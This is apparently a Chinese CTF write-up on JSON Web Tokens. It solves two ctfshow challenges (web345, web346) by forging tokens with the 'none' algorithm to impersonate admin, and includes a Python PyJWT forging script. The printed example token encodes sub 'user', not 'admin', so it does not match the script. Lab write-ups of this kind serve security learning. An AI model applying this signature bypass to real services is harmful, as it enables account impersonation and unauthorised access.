jwt
JSON Web Token,是一种用于Web应用程序的安全令牌,即身份认证,由服务器端在验证客户端身份之后生成并返回给客户端,客户端在登陆之后每次访问服务器都要携带该参数
和传统的cookie,session不同,jwt是无状态的token,服务端不会保存任何信息,适合一次性的命令认证
通常由三个部分组成:header + payload + signature,每部分由‘.’连接
header:包括令牌的类型和加密算法,
payload:包含有关用户或实体的信息,例如身份验证数据,
signature:用于验证令牌是否被篡改。
实战
ctfshow web345
None无签名认证
打开题目,f12发现hint:<!--/admin-->
,访问/admin
抓包发现重定向到/admin/
了,
这里有必要提一句/admin
表示的是admin.php
文件,而/admin/
表示的是admin目录下的文件,默认是index.php
发现一串cookie值,取auth的值,用jwt.io进行解码
发现alg
是None算法,无加密
于是这里直接修改sub
的值为admin(因为一开始是user,很明显要修改为admin)
然后选一下上面的加密算法(好像都可以)
复制这串Encoded的签名到cookie中,发包得到flag
ctfshow web346
None算法绕过签名
和上题一样获取cookie进行解码
发现是HS256加密作签名
而JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的。
所以我们只需要把Header中的加密算法改为none,sub改为admin即可
这里使用python脚本进行加密
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1685934422,
"exp": 1685941622,
"nbf": 1685934422,
"sub": "admin",
"jti": "939c89347dc9f094d5bd33799cf3a4d4"
}
headers = {"alg": "none", "typ": "JWT"}
jwt_token = jwt.encode(
token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
# 输出eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4NTkzNDQyMiwiZXhwIjoxNjg1OTQxNjIyLCJuYmYiOjE2ODU5MzQ0MjIsInN1YiI6InVzZXIiLCJqdGkiOiI5MzljODkzNDdkYzlmMDk0ZDViZDMzNzk5Y2YzYTRkNCJ9.
在/admin/
下传入cookie获取flag